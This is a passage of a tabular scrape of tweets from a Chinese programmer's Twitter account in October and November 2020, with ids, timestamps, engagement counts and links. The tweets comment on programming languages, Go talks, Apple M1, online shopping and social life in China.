04:03:50+00:00,41,4,2,,请把评论区去掉……,,https://twitter.com/haoel/status/1331448486668115968\n3677,1331138046792663040,2020-11-24 07:30:16+00:00,116,9,7,,这可是终身服务啊…… https://t.co/WkizLFWbzU,,https://twitter.com/haoel/status/1331138046792663040\n3678,1331048101021249536,2020-11-24 01:32:51+00:00,12,0,6,,@_lrtg +1,,https://twitter.com/haoel/status/1331048101021249536\n3679,1331047845193863169,2020-11-24 01:31:50+00:00,3,0,2,,@chagel 国内的外企还不是外国的。,,https://twitter.com/haoel/status/1331047845193863169\n3680,1331032338382213122,2020-11-24 00:30:13+00:00,33,1,10,,中国公司有这样的案例么？,,https://twitter.com/haoel/status/1331032338382213122\n3681,1331030718693081088,2020-11-24 00:23:47+00:00,0,0,0,,@sindonia55 是的，因为骗子没跑,,https://twitter.com/haoel/status/1331030718693081088\n3682,1330903992176545794,2020-11-23 16:00:13+00:00,552,67,43,,二十年前初到北京北漂，被黑中介骗走2000元，报警后追回。而现在则不然，套路贷，P2P，ofo，区块链买币，长租公寓，云南泛亚，乐视股票……等等这些东西，黑了你就黑了，你报警也好，上法院告也好，上访也好……干啥反正钱回不来了……,,https://twitter.com/haoel/status/1330903992176545794\n3683,1330538792948645888,2020-11-22 15:49:03+00:00,0,0,0,,@sunnylqm 我是打字打顺手了……,,https://twitter.com/haoel/status/1330538792948645888\n3684,1330533168617701376,2020-11-22 15:26:42+00:00,0,0,1,,@sunnylqm 😓,,https://twitter.com/haoel/status/1330533168617701376\n3685,1330462150834450432,2020-11-22 10:44:30+00:00,1,0,0,,@cnwzhu 性能相关的不要用,,https://twitter.com/haoel/status/1330462150834450432\n3686,1330414088883564544,2020-11-22 07:33:31+00:00,170,31,8,,\"GopherChina 2020  - Go programming patterns. I hope it's useful for you to improve your coding skills and you will like it.\nhttps://t.co/pc0UGdVY2w\",\"[TextLink(text='slideshare.net/haoel/go-progr…', url='https://www.slideshare.net/haoel/go-programming-patterns', tcourl='https://t.co/pc0UGdVY2w', indices=(124, 147))]\",https://twitter.com/haoel/status/1330414088883564544\n3687,1330409317732913154,2020-11-22 07:14:33+00:00,4,0,0,,@oliverzest 会的,,https://twitter.com/haoel/status/1330409317732913154\n3688,1330405695066312704,2020-11-22 07:00:10+00:00,401,55,15,,40 后，50后，60后 三代程序员，golang 祖师爷，福禄寿三星！ https://t.co/UZx9XLIRM3,,https://twitter.com/haoel/status/1330405695066312704\n3689,1329735271953272833,2020-11-20 10:36:08+00:00,2,0,1,,@tinyfool @Moeloop 你看嘛，大家都想到一块儿了,,https://twitter.com/haoel/status/1329735271953272833\n3690,1329316568220672000,2020-11-19 06:52:22+00:00,3,1,0,,抄袭完整列表……,,https://twitter.com/haoel/status/1329316568220672000\n3691,1329021175356243968,2020-11-18 11:18:34+00:00,99,16,15,,回：“在21世纪，如果你只会Python，那么基本上等同于废人”,,https://twitter.com/haoel/status/1329021175356243968\n3692,1328884233482293248,2020-11-18 02:14:25+00:00,1,1,0,,@laogao https://t.co/oBJuDcEEKa,\"[TextLink(text='docker.com/blog/apple-sil…', url='https://www.docker.com/blog/apple-silicon-m1-chips-and-docker/', tcourl='https://t.co/oBJuDcEEKa', indices=(8, 31))]\",https://twitter.com/haoel/status/1328884233482293248\n3693,1328728786548867074,2020-11-17 15:56:43+00:00,72,6,19,,时间线上各种M1吊打Intel 的比较，这种级别性能提升，让人感觉苹果未来的技术优势会越来越强……,,https://twitter.com/haoel/status/1328728786548867074\n3694,1328140782482509824,2020-11-16 01:00:12+00:00,0,0,1,,@jolestar 目前未见,,https://twitter.com/haoel/status/1328140782482509824\n3695,1328139653396922368,2020-11-16 00:55:43+00:00,143,15,3,,@lelefarley 大多数人仅在二维平面上进行思考，所以…… https://t.co/yZR8nRyi1M,,https://twitter.com/haoel/status/1328139653396922368\n3696,1327417165851414531,2020-11-14 01:04:49+00:00,169,9,26,,@mranti 突然家里的WiFi慢的要死，发现居然有十多个设备，顶配3万元MacBook Pro一台，外星人R11水冷游戏台式机，iPhone 12 Max和Min各，512G的iPad Pro，Apple Watch，Xbox One X，PS/5 和Switch，85吋8K高清电视，丹拿85万的音响，再加上NAS，智能音箱……哎老婆为什么要给我买这么些东西，我平时都不咋用……,,https://twitter.com/haoel/status/1327417165851414531\n3697,1327187187893374976,2020-11-13 09:50:58+00:00,0,0,0,,@justfly_ho 我也觉得奇怪。是打字姿势不对，接触指甲太多，相当于用指甲挠,,https://twitter.com/haoel/status/1327187187893374976\n3698,1327186496739164161,2020-11-13 09:48:13+00:00,0,0,0,,@woai122 有这种感觉，不过都习惯了。,,https://twitter.com/haoel/status/1327186496739164161\n3699,1327172510509502469,2020-11-13 08:52:38+00:00,25,0,14,,终于升完 https://t.co/J7LvQi8fEJ,,https://twitter.com/haoel/status/1327172510509502469\n3700,1327155330711744512,2020-11-13 07:44:22+00:00,0,0,0,,@tiger00853 找到一条小路……,,https://twitter.com/haoel/status/1327155330711744512\n3701,1327104258760531968,2020-11-13 04:21:26+00:00,0,0,0,,@hippo50050641 正在升级……,,https://twitter.com/haoel/status/1327104258760531968\n3702,1327094611320291328,2020-11-13 03:43:06+00:00,168,0,18,,收到新版macOS推送了，想起2015年到Big Sur一游的时光，岁月如梭…… https://t.co/2OS8ZejE0u,,https://twitter.com/haoel/status/1327094611320291328\n3703,1326739927690719232,2020-11-12 04:13:43+00:00,0,0,0,,@Silvers60619286 我是对价格也敏感的，但是我买东西不是因为价格便宜，而是因为我需不需要,,https://twitter.com/haoel/status/1326739927690719232\n3704,1326558555483242496,2020-11-11 16:13:00+00:00,5,0,8,,自己居然不能投票。我连续三年在双11都不知道要买什么……好像不懂的生活了……,,https://twitter.com/haoel/status/1326558555483242496\n3705,1326557873933967360,2020-11-11 16:10:18+00:00,6,0,22,,双十一你花了多少钱？,,https://twitter.com/haoel/status/1326557873933967360\n3706,1326536534783270915,2020-11-11 14:45:30+00:00,131,22,23,,看你们慌不慌！会编程的，不会编程的，可能都会感到慌……😂 https://t.co/c962cmsXAJ,,https://twitter.com/haoel/status/1326536534783270915\n3707,1326534606074474504,2020-11-11 14:37:50+00:00,1,0,0,,@hongbosherlock 已经是PaaS的第一大开发语言了,,https://twitter.com/haoel/status/1326534606074474504\n3708,1326514251691819008,2020-11-11 13:16:57+00:00,38,2,8,,Twitter Fleets……抄袭渣浪啊……以后再也不叫你推特了，叫你渣推……英文 Twishit……😂 https://t.co/BSLmq1VzLB,,https://twitter.com/haoel/status/1326514251691819008\n3709,1325428442666467328,2020-11-08 13:22:20+00:00,30,7,1,,GitHub上的相关repo https://t.co/MiPfQZjqaV,\"[TextLink(text='github.com/cjph8914/2020_…', url='https://github.com/cjph8914/2020_benfords', tcourl='https://t.co/MiPfQZjqaV', indices=(15, 38))]\",https://twitter.com/haoel/status/1325428442666467328\n3710,1325423957462298631,2020-11-08 13:04:31+00:00,240,62,19,,李永乐老师又把他去年说双十一是否造假的本福特曲线搬出来了，我对政治和阴谋论不感兴趣，但这个数学挺有意思，散播一下。https://t.co/dPkLdaVXTG,\"[TextLink(text='mp.weixin.qq.com/s/pXEr11FAesA2…', url='https://mp.weixin.qq.com/s/pXEr11FAesA2TmPSC8cN4A', tcourl='https://t.co/dPkLdaVXTG', indices=(57, 80))]\",https://twitter.com/haoel/status/1325423957462298631\n3711,1325412122256314368,2020-11-08 12:17:29+00:00,0,0,0,,@Wesley7896183 为什么不用google搜？,,https://twitter.com/haoel/status/1325412122256314368\n3712,1325402161883213824,2020-11-08 11:37:54+00:00,0,0,1,,@Wesley7896183 为什么不是wikipedia?,,https://twitter.com/haoel/status/1325402161883213824\n3713,1325288197325115395,2020-11-08 04:05:03+00:00,7,0,0,,@rh1ncer0 我是觉得程序员们的回复挺有趣的，你居然能品出嘲讽？？！！你这理解能力……,,https://twitter.com/haoel/status/1325288197325115395\n3714,1325257726310535168,2020-11-08 02:03:58+00:00,50,12,7,,评论区……,,https://twitter.com/haoel/status/1325257726310535168\n3715,1325088647541002240,2020-11-07 14:52:07+00:00,95,3,11,,@songma 父母成了孩子的天花板……如果是我，我不但不会阻止，我还要要搭车一本《C Programming Language》 https://t.co/oHJBpcKp5g,,https://twitter.com/haoel/status/1325088647541002240\n3716,1325040981759062016,2020-11-07 11:42:42+00:00,10,1,4,,@tinyfool 你要是早点像他一样，你早已挣够钱去日本了……😂😂,,https://twitter.com/haoel/status/1325040981759062016\n3717,1324929107356835840,2020-11-07 04:18:09+00:00,4,0,2,,@coelolepid 狗在身高和体重都不如人，但是你怕不怕狗？,,https://twitter.com/haoel/status/1324929107356835840\n3718,1324927406612779008,2020-11-07 04:11:24+00:00,128,8,13,,数次维权，见过各种耍赖蛮横之徒，很多时候还反咬一口。面对这样的人，我一般都冷冷地说，“我现在还有理智，等会我失去理智了，我也不知道我会做出什么事来……”然后，再不说话，死盯着对方。80%情况下，对方一会就软了……,,https://twitter.com/haoel/status/1324927406612779008\n3719,1324924269424336896,2020-11-07 03:58:56+00:00,33,1,7,,@0x7976 你是不是脑子少根筋。专制都人治基本都不讲规则，讲规则的都是宪政,,https://twitter.com/haoel/status/1324924269424336896\n3720,1324922128508973056,2020-11-07 03:50:25+00:00,227,31,22,,我向往讲规则的社会，因为会带来安全感。但是在没有规则的社会下是否还要讲规则，就得视情形而定，我数次维权经历告诉我，在大家都不讲规则的环境下，只有变得更流氓才有效。就像格斗，如果有规则，像UFC或MMA，再野蛮也行。但如果你遇到歹徒，最有效的格斗术就是插眼睛，踢裆，用牙咬…谁讲规则谁SB…,,https://twitter.com/haoel/status/1324922128508973056\n3721,1324643995247542273,2020-11-06 09:25:13+00:00,228,24,20,,看我司的同学，考个CKA/CKAD的k8s认证，学习笔记都写了130多页，跟本书一样…… https://t.co/4u2Apn0861,,https://twitter.com/haoel/status/1324643995247542273\n3722,1324589013450194945,2020-11-06 05:46:45+00:00,2,0,0,,@linyujing 这不就是“系统”么,,https://twitter.com/haoel/status/1324589013450194945\n3723,1324585297695272961,2020-11-06 05:31:59+00:00,1,0,2,,@dallaslu 你还真想区块链？呵呵。,,https://twitter.com/haoel/status/1324585297695272961\n3724,1324581902397837312,2020-11-06 05:18:29+00:00,152,18,143,,来个技术问题，如何才能做出一个绝对不造假而且效率比较高效投票系统，不用考虑成本。（P.S. 如果你想回答区块链的话，这可能说明你会是韭菜……）,,https://twitter.com/haoel/status/1324581902397837312\n3725,1324512911004377088,2020-11-06 00:44:20+00:00,1,0,0,,@linyujing 两个女儿好幸福。,,https://twitter.com/haoel/status/1324512911004377088\n3726,1324255869882621952,2020-11-05 07:42:57+00:00,125,13,24,,我相信，大多数程序员都是因为纯兴趣入行的……所以，入行后问“什么时候才能纯为兴趣编程”这个问题，真令人唏嘘感慨……,,https://twitter.com/haoel/status/1324255869882621952\n3727,1324107151787225089,2020-11-04 21:52:00+00:00,41,8,0,,哈哈,,https://twitter.com/haoel/status/1324107151787225089\n3728,1323984871161696263,2020-11-04 13:46:06+00:00,0,0,0,,@lincolnlzhang 是的。,,https://twitter.com/haoel/status/1323984871161696263\n3729,1323984446903652353,2020-11-04 13:44:25+00:00,247,21,19,,看了几个美国总统选举地图的前端实现，基本上都是用svg的方式，fox news的还是做的很帅的。美帝媒体的前端技术还是很不错的。,,https://twitter.com/haoel/status/1323984446903652353\n3730,1323970166024151040,2020-11-04 12:47:40+00:00,194,36,10,,\"腾讯云的一个关于内卷的采访。腾讯云来约我的时候，我都不知道什么是内卷，乱讲了一些……国内的头部公司的安全感来自于对流量的控制，国外的头部公司的安全感来自对技术的控制，所以，国内的公司要求的程序员就是996不断的获得不同地方的流量……这就是这个阶段的特征……\nhttps://t.co/YMzwRbaOJa\",\"[TextLink(text='youtube.com/watch?v=9kaTRK…', url='https://www.youtube.com/watch?v=9kaTRKWpuvQ', tcourl='https://t.co/YMzwRbaOJa', indices=(129, 152))]\",https://twitter.com/haoel/status/1323970166024151040\n3731,1323847810043711488,2020-11-04 04:41:28+00:00,0,0,0,,@dalonng 一个云服务提供商,,https://twitter.com/haoel/status/1323847810043711488\n3732,1323838862259449856,2020-11-04 04:05:55+00:00,372,35,23,,搬瓦工+ 树莓派+ Debian + Clash 旁路路由 + XBox One  + 电视 + Youtube + CBSN Live + 实时字幕  = 假装在美国 https://t.co/meozRKzIYo,,https://twitter.com/haoel/status/1323838862259449856\n3733,1323498695493443584,2020-11-03 05:34:13+00:00,35,1,4,,马已经服，不能不服,,https://twitter.com/haoel/status/1323498695493443584\n3734,1323281646938828800,2020-11-02 15:11:44+00:00,93,10,7,,这个hit 的命令行你会喜欢吗？https://t.co/0zts3oJpgH https://t.co/fsJoZ4LmFN,\"[TextLink(text='github.com/chriswalz/bit', url='https://github.com/chriswalz/bit', tcourl='https://t.co/0zts3oJpgH', indices=(16, 39))]\",https://twitter.com/haoel/status/1323281646938828800\n3735,1323279353170386947,2020-11-02 15:02:37+00:00,54,4,9,,有人说说Google的新logo看起来都是一样的，其实并不是……另，Google家的 Material UI 说一个好的Ul要能做到Color 是Consistent https://t.co/8lAeq1xK3T https://t.co/52YPTkaFtS,\"[TextLink(text='material.io/design/color/a…', url='https://material.io/design/color/applying-color-to-ui.html#usage', tcourl='https://t.co/8lAeq1xK3T', indices=(84, 107))]\",https://twitter.com/haoel/status/1323279353170386947\n3736,1323276895849345024,2020-11-02 14:52:51+00:00,0,0,0,,@chkesp 还没运行go fmt前的样子,,https://twitter.com/haoel/status/1323276895849345024\n3737,1323156043812098048,2020-11-02 06:52:38+00:00,8,0,1,,@zzeroty Vscode 的Go插件，出品方：Google 官方,,https://twitter.com/haoel/status/1323156043812098048\n3738,1322897567454121985,2020-11-01 13:45:32+00:00,697,35,41,,这个周末算是献给Gopher China上海站的演讲了，撸了几千行演讲用的代码……现在的分享都在讲很大的事，我就不讲大事了，只讲如何写出好的代码这事……所以，我这次的分享，没有架构，没有系统，没有图片，没有PPT，只有代码，代码和代码…… https://t.co/dqOpCX3FYj,,https://twitter.com/haoel/status/1322897567454121985\n3739,1322457451354943488,2020-10-31 08:36:41+00:00,14,1,0,,这期的“颜色”很好：https://t.co/9hejzOI9sO,\"[TextLink(text='youtu.be/SEZu7K5tGxw', url='https://youtu.be/SEZu7K5tGxw', tcourl='https://t.co/9hejzOI9sO', indices=(10, 33))]\",https://twitter.com/haoel/status/1322457451354943488\n3740,1322364619621507072,2020-10-31 02:27:48+00:00,17,0,1,,@tinyfool 原贴乱嫁接因果关系！主要原因是用户增长不行了……,,https://twitter.com/haoel/status/1322364619621507072\n3741,1322358279956099072,2020-10-31 02:02:36+00:00,199,56,17,,朋友发给我一篇文章，算是解释了为什么了《心理学：为什么穷人更爱买奢侈品？诺贝尔奖得主发现：越穷越浪费》 ￼ https://t.co/jBKxCCIkiZ https://t.co/lVJgqbqdui,\"[TextLink(text='c.m.163.com/news/a/FI0282N…', url='https://c.m.163.com/news/a/FI0282NB0542DI7Z.html', tcourl='https://t.co/jBKxCCIkiZ', indices=(54, 77))]\",https://twitter.com/haoel/status/1322358279956099072\n3742,1322209030811521026,2020-10-30 16:09:33+00:00,294,32,32,,感觉很多并不富裕的人把辛辛苦苦存的钱，都用在了很多对自己成长没用的地方，他们的潜意识中，存钱的目标就是要活的像个富人……,,https://twitter.com/haoel/status/1322209030811521026\n3743,1321968728586661888,2020-10-30 00:14:40+00:00,3,0,0,,@CptAwesomeDi 大文件该重构了,,https://twitter.com/haoel/status/1321968728586661888\n3744,1321826624531099648,2020-10-29 14:50:00+00:00,166,26,6,,真是孤陋寡闻，这里面说的插件，一个都没有用过，但真是帅死了…… https://t.co/gp4GKU9aDJ,\"[TextLink(text='youtu.be/c5GAS_PMXDs', url='https://youtu.be/c5GAS_PMXDs', tcourl='https://t.co/gp4GKU9aDJ', indices=(32, 55))]\",https://twitter.com/haoel/status/1321826624531099648\n3745,1321460827019374592,2020-10-28 14:36:27+00:00,39,0,5,,@tinyfool 有些人，在一些事上不表达自己的立场，一声不吭，只字不提，一看就就不是什么好货……,,https://twitter.com/haoel/status/1321460827019374592\n3746,1321260631467552768,2020-10-28 01:20:57+00:00,2,0,0,,@beihuo 股市行情都要看标杆企业，何况技术行情呢？,,https://twitter.com/haoel/status/1321260631467552768\n3747,1321248569869824000,2020-10-28 00:33:01+00:00,0,0,4,,@ximigen PHP我从来都不想讨论……,,https://twitter.com/haoel/status/1321248569869824000\n3748,1321246871067607042,2020-10-28 00:26:16+00:00,83,9,10,,有些人又在说我开语言的鄙视链，老实说，我真没有，就事论事，python多少年了，然而，无论国内外都并没有成为各大公司的的主流开发语言，这是不是已经很说明问题了？我不想误导新入行的人，C/C++/Java霸占企业级开发这么多年是有原因的……,,https://twitter.com/haoel/status/1321246871067607042\n3749,1321101719292366849,2020-10-27 14:49:29+00:00,221,30,48,,\"一旦聊起编程语言的时候，尤其在说C/C++/Java/Go的时候，总是会有各种人问我Python呢？\n\n嗯，看看满世界各种学Python的广告，再看看全体小学生已经用Python学习编程。几年后，无论是不是程序员，用Python写程序将会是所有人的基本技能。\n\n所以，职业的程序员还是要学工业级的东西，别只会Python了……\",,https://twitter.com/haoel/status/1321101719292366849\n3750,1320972549811924996,2020-10-27 06:16:13+00:00,5,0,8,,我会问如果，如果你还有来世，你会叫什么名字？,,https://twitter.com/haoel/status/1320972549811924996\n3751,1320640599863652354,2020-10-26 08:17:09+00:00,1,0,0,,@linuxyz 但这个case明显不难,,https://twitter.com/haoel/status/1320640599863652354\n3752,1320640318383874049,2020-10-26 08:16:02+00:00,53,4,10,,\"【经典的沟通问题】\n\n根据上下文，我以为问我的是架构问题，最后发现的是如何对这几千台的client进行部署的问题……在回答用nginx做负载均衡一会儿后，我发现他要的是ansible这个工具……😭 https://t.co/ng3G9zJgRf\",,https://twitter.com/haoel/status/1320640318383874049\n3753,1320622605301215232,2020-10-26 07:05:39+00:00,82,6,14,,开始，在微信群里开始有需要确认谁参加某个活动，或是需要大家上报某个信息的需求，因为微信功能受限，于是大家开始使用“信息接龙”的方式……几年后，微信官方就开发了“接龙”的功能，完美复刻了用户复制粘贴的习惯，众人一片叫好……这事也完美应了那句话：“如果问用户要什么，用户会说要匹更快的马！”,,https://twitter.com/haoel/status/1320622605301215232\n3754,1320291339288760320,2020-10-25 09:09:19+00:00,5,0,2,,@tinyfool 墙外毕竟人少,,https://twitter.com/haoel/status/1320291339288760320\n3755,1320289545053597696,2020-10-25 09:02:11+00:00,0,0,1,,@sinoon1218 钓鱼不行？,,https://twitter.com/haoel/status/1320289545053597696\n3756,1320288315312992257,2020-10-25 08:57:18+00:00,237,38,20,,订阅公众号加微信群提升技术能力，我已不需要看一手技术资料；看公众号和知乎“怎么看…”培养了我正确的三观，我不需要接受高等教育，更不需去看看世界，不必感受不同的文化；通过996实现人生价值，通过股市/彩票/p2p/币圈获得财富，不必非要去提升自己和创造价值……简化问题，越简单，越幸福……🙏,,https://twitter.com/haoel/status/1320288315312992257\n3757,1318935576112820227,2020-10-21 15:22:00+00:00,21,3,10,,读了三遍，我才搞清楚其中的人物关系……脑子太迟顿了……,,https://twitter.com/haoel/status/1318935576112820227\n3758,1318931574591647744,2020-10-21 15:06:06+00:00,305,44,18,,\"【程序员惊悚故事】\n\n给非程序员——程序员经常kill parent, kill child, 产生大量的zombie……\n\n给后端程序员——在测试环境里执行了重新数据库的命令，两秒钟后发现是在生产环境里执行的……\n\n给前端程序员——甲方要我们支持IE 6.0浏览器……\n\n给中国程序员—— stackoverflow和github被完全墙了……\",,https://twitter.com/haoel/status/1318931574591647744\n3759,1318719725141028865,2020-10-21 01:04:17+00:00,91,6,11,,我对Rust的态度是，如果你对C++不反感，那么你一定要学Rust，否则，Rust帮不到你，在Rust里玩各种unsafe，真还如直接上有垃圾回收的语言（如：Java或Go），让编程更为轻松…… https://t.co/M1rODsBWJo,,https://twitter.com/haoel/status/1318719725141028865\n3760,1318705842049282048,2020-10-21 00:09:07+00:00,0,0,0,,@CnHawkOrg 你来了吗？,,https://twitter.com/haoel/status/1318705842049282048\n3761,1318442553293766656,2020-10-20 06:42:54+00:00,0,0,2,,@hy44jt 2019年的第二年是2020年,,https://twitter.com/haoel/status/1318442553293766656\n3762,1318431496827383810,2020-10-20 05:58:58+00:00,136,37,16,,从2019年的聊天记录里翻出了一张老图…… https://t.co/Q4U2G7N3zX,,https://twitter.com/haoel/status/1318431496827383810\n3763,1318406512482480128,2020-10-20 04:19:42+00:00,15,2,3,,@nishuang 很赞。向你多学,,https://twitter.com/haoel/status/1318406512482480128\n3764,1317793221494198272,2020-10-18 11:42:42+00:00,0,0,0,,@OldWorldBlues47 应该是00后，打错了,,https://twitter.com/haoel/status/1317793221494198272\n3765,1317698170818752513,2020-10-18 05:25:00+00:00,507,90,32,,关于一些意识形态的东西，我们这代70/80后的人，在过去要跟上一代父辈的人争论，后来觉得他们这代人过去也就好了……而实际上，没过几年，就受到了来自下一代年轻人在意识形态上的攻击……同时受到50/60后和90/10后的夹击，感觉这就是《信条》里所谓的时间钳型攻击……😓,,https://twitter.com/haoel/status/1317698170818752513\n3766,1317136103489466368,2020-10-16 16:11:32+00:00,14,2,1,,这个？不知道还能不能用,,https://twitter.com/haoel/status/1317136103489466368\n3767,1317072256292384769,2020-10-16 11:57:50+00:00,34,9,3,,\"巜假新闻的心理和社会基础》\nhttps://t.co/mN0Ykcce91\",\"[TextLink(text='link.medium.com/nNiWqlC6Cab', url='https://link.medium.com/nNiWqlC6Cab', tcourl='https://t.co/mN0Ykcce91', indices=(14, 37))]\",https://twitter.com/haoel/status/1317072256292384769\n3768,1315669809305063426,2020-10-12 15:05:01+00:00,31,2,2,,@charon15487115 @leeight Great Cannon也可以了解一下,,https://twitter.com/haoel/status/1315669809305063426\n3769,1315427412096684032,2020-10-11 23:01:49+00:00,0,0,1,,@kevinzhow 带货能手,,https://twitter.com/haoel/status/1315427412096684032\n3770,1315122180754075648,2020-10-11 02:48:56+00:00,3,0,0,,@bonjourMuzi @tinyfool 想看电影了……先从《白宫沦陷》开始……,,https://twitter.com/haoel/status/1315122180754075648\n3771,1314897057753124865,2020-10-10 11:54:22+00:00,143,28,2,,@tinyfool 只有用这个图片回复你了…… https://t.co/21fDGItZRZ,,https://twitter.com/haoel/status/1314897057753124865\n3772,1314894067537375232,2020-10-10 11:42:29+00:00,184,22,34,,这段时间感觉github越来越慢，越来越不稳定，这不会是因为有了gitee，可以开始干github了吧？！我也不想这么想，只是味道太熟悉了，情不自禁的会这么想……,,https://twitter.com/haoel/status/1314894067537375232\n3773,1314440706585325568,2020-10-09 05:41:00+00:00,0,0,0,,@tinyfool 十指紧扣,,https://twitter.com/haoel/status/1314440706585325568\n3774,1314391704842104833,2020-10-09 02:26:17+00:00,18,9,5,,\"原来之前也有一例，都是今年的\nhttps://t.co/getKZ1ImpI https://t.co/KSu6BA7kaa\",\"[TextLink(text='m.weibo.cn/1627825392/452…', url='https://m.weibo.cn/1627825392/4521595647985896', tcourl='https://t.co/getKZ1ImpI', indices=(15, 38))]\",https://twitter.com/haoel/status/1314391704842104833\n3775,1314205779843457025,2020-10-08 14:07:29+00:00,3,0,2,,@shell909090 打口碟 https://t.co/8gdyiON6gp,,https://twitter.com/haoel/status/1314205779843457025\n3776,1314161059591200768,2020-10-08 11:09:47+00:00,1,0,1,,@huihui9527 你不觉得让你精力不集中的主要是手机而不是光纤么？,,https://twitter.com/haoel/status/1314161059591200768\n3777,1314131414720282625,2020-10-08 09:11:59+00:00,90,4,12,,一个人的产出高低跟家里有没有光纤有因果关系么……如果硬要有因果关系，我觉得他可能是在单位996太多，导致家里不需要装宽带……,,https://twitter.com/haoel/status/1314131414720282625\n3778,1314124886567088128,2020-10-08 08:46:02+00:00,0,0,1,,@longmuboy 当然买过，只是不知道去哪儿了,,https://twitter.com/haoel/status/1314124886567088128\n3779,1314060506013954049,2020-10-08 04:30:13+00:00,368,36,76,,\"这是20年前我看的计算机的书，从汇编到perl，从js到jsp，从界面到数据库，从编程到图像制作……对于技术，基本上就是来者不拒……\n\n另外，对于ESQL-C和Turbo C，现在可能很少人知道了…… https://t.co/ZA3mUVATMa\",,https://twitter.com/haoel/status/1314060506013954049\n3780,1313668663006785537,2020-10-07 02:33:10+00:00,322,54,20,,每个人身边总会有几个同学、同事或朋友喜欢用你的痛处来做文章或是抓你的漏洞来杠你，当你生气了，他还说你开不起玩笑，说你敏感，心胸不宽。这种人，一般来说，都是小人，干不了什么大事，而且一定是劣迹斑斑。对付他们，没必要争口舌之利，找到他的劣迹，当着众人的面揭开，然后说开个玩笑别当真……,,https://twitter.com/haoel/status/1313668663006785537\n3781,1312946448976146432,2020-10-05 02:43:21+00:00,110,6,13,,对于那些在小区里溜狗不拴狗绳的人，你说他们要小心，不然，一般对你吠的不是狗，而是狗主人……,,https://twitter.com/haoel/status/1312946448976146432\n3782,1312182987576889344,2020-10-03 00:09:38+00:00,10,0,1,,\"@nishuang Garbage in, Garage out\",,https://twitter.com/haoel/status/1312182987576889344\n3783,1312019453782093825,2020-10-02 13:19:48+00:00,1,0,0,,@HoiAle 同乐,,https://twitter.com/haoel/status/1312019453782093825\n3784,1312017763007827968,2020-10-02 13:13:05+00:00,176,9,10,,无所事事的时候，就做做算法题吧…… https://t.co/yr7m6xBObZ,,https://twitter.com/haoel/status/1312017763007827968\n3785,1311804324926824448,2020-10-01 23:04:57+00:00,31,4,5,,技术男推销技术产品……🥳,,https://twitter.com/haoel/status/1311804324926824448\n3786,1311641164009725952,2020-10-01 12:16:37+00:00,2,0,0,,@nishuang,,https://twitter.com/haoel/status/1311641164009725952\n3787,1311640937781551105,2020-10-01 12:15:43+00:00,59,6,9,,\"《Teach Java in India》我把我能听得懂的项文都加上字幕了（双语），还是有些听不懂，希望能够得到指证。https://t.co/AZbKFUOxxK\n\n注：以前在外企的时候，听多了各种口音的英语，所以，练得此技能。对我来说，最难听懂的是非洲的英文。\",\"[TextLink(text='youtube.com/watch?v=wYYWJo…', url='https://www.youtube.com/watch?v=wYYWJoocfek', tcourl='https://t.co/AZbKFUOxxK', indices=(59, 82))]\",https://twitter.com/haoel/status/1311640937781551105\n3788,1311559661246537729,2020-10-01 06:52:45+00:00,2,0,1,,@nishuang 我一会有空打个字幕……,,https://twitter.com/haoel/status/1311559661246537729\n3789,1311558437411590144,2020-10-01 06:47:53+00:00,20,1,1,,\"几个关键对话：\n\n- 黑衣男：Main method, where are you?\n- 讲解员：This is strong software\n- 讲解员：OS has touched the class！Where the main method sit there！\n- 女人：if you want to see me, pls make me as plubic\n- 讲解员：OS can see her!\n- 绿色男：no no no\n- 女人：Make me Staic！\",,https://twitter.com/haoel/status/1311558437411590144\n3790,1311553577471467520,2020-10-01 06:28:35+00:00,134,31,15,,给印度英语听力不好的同学做个简单解释：黑衣男子是操作系统，他拼命要找Main方法执行，好不容易上了直升机（用户进程），却看不见Main方法（女人），因为没有Pubic，Public后可以看见了，但是绿衣男（Java）阻止访问，讲解人大叫“make it Static”，然后就可以访问了……这样教Java真TMD牛逼啊！,,https://twitter.com/haoel/status/1311553577471467520\n3791,1311095460128460802,2020-09-30 00:08:11+00:00,7,0,0,,@PR0GRAMMERHUM0R https://t.co/EWIZgLYhke,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1183295697472258048?s=21', tcourl='https://t.co/EWIZgLYhke', indices=(17, 40))]\",https://twitter.com/haoel/status/1311095460128460802\n3792,1310831913813176320,2020-09-29 06:40:56+00:00,163,57,5,,很多人都觉得最高级的段子是自嘲，我同意的。但我还是主观地觉得最高级的是讽刺，像马克吐温那样，像钱钟书那样像牛群冯巩相声《小偷公司》那样……因为讽刺的段子让人很解恨……很治愈……BBC收集的这些老苏联段子，百看不厌。https://t.co/xpE95JhiZO,\"[TextLink(text='bbc.com/zhongwen/simp/…', url='https://www.bbc.com/zhongwen/simp/world-45652110', tcourl='https://t.co/xpE95JhiZO', indices=(107, 130))]\",https://twitter.com/haoel/status/1310831913813176320\n3793,1310548328778588165,2020-09-28 11:54:05+00:00,1,0,2,,@uglybobangybob 这是两个层面的事情……不说了，有空多学习,,https://twitter.com/haoel/status/1310548328778588165\n3794,1310546930347302912,2020-09-28 11:48:31+00:00,2,0,1,,@uglybobangybob 这个句式其实很通用一一“大多数企业不需要XX技术”，但是，我还是想告诉你，标准或传统的SOA其实比微服务更重，你所说SOA应该是“轻重的服务化”，而spring boot才是你所说的“轻量化的SOA”，而这适合绝大部份企业！,,https://twitter.com/haoel/status/1310546930347302912\n3795,1310479924373856257,2020-09-28 07:22:16+00:00,100,16,7,,@uglybobangybob 既然翻墙出来了，还是应该多看看墙外的英文资源。比如各大公司的官方Blog。我就经常看Uber的Blog（https://t.co/W4IJlwj3iF），前两天才看了他们的《面向领域的微服务架构》https://t.co/UqUiL96xxS 。其实，他们家也是用Kubernetes的：https://t.co/BP5CdtIGjJ,\"[TextLink(text='eng.uber.com', url='https://eng.uber.com/', tcourl='https://t.co/W4IJlwj3iF', indices=(68, 91)), TextLink(text='eng.uber.com/microservice-a…', url='https://eng.uber.com/microservice-architecture/', tcourl='https://t.co/UqUiL96xxS', indices=(114, 137)), TextLink(text='eng.uber.com/makisu/', url='https://eng.uber.com/makisu/', tcourl='https://t.co/BP5CdtIGjJ', indices=(160, 183))]\",https://twitter.com/haoel/status/1310479924373856257\n3796,1310438354098376704,2020-09-28 04:37:05+00:00,2,0,0,,@xicilion 你这中枪中的……,,https://twitter.com/haoel/status/1310438354098376704\n3797,1310431440488656896,2020-09-28 04:09:36+00:00,8,1,9,,@ch3n2k 我和你不一样。我就转了个说李笑来有问题的公众号文章，然后就被他骂的狗血淋头，全网拉黑……,,https://twitter.com/haoel/status/1310431440488656896\n3798,1310424556138422272,2020-09-28 03:42:15+00:00,0,0,1,,@igaocheng 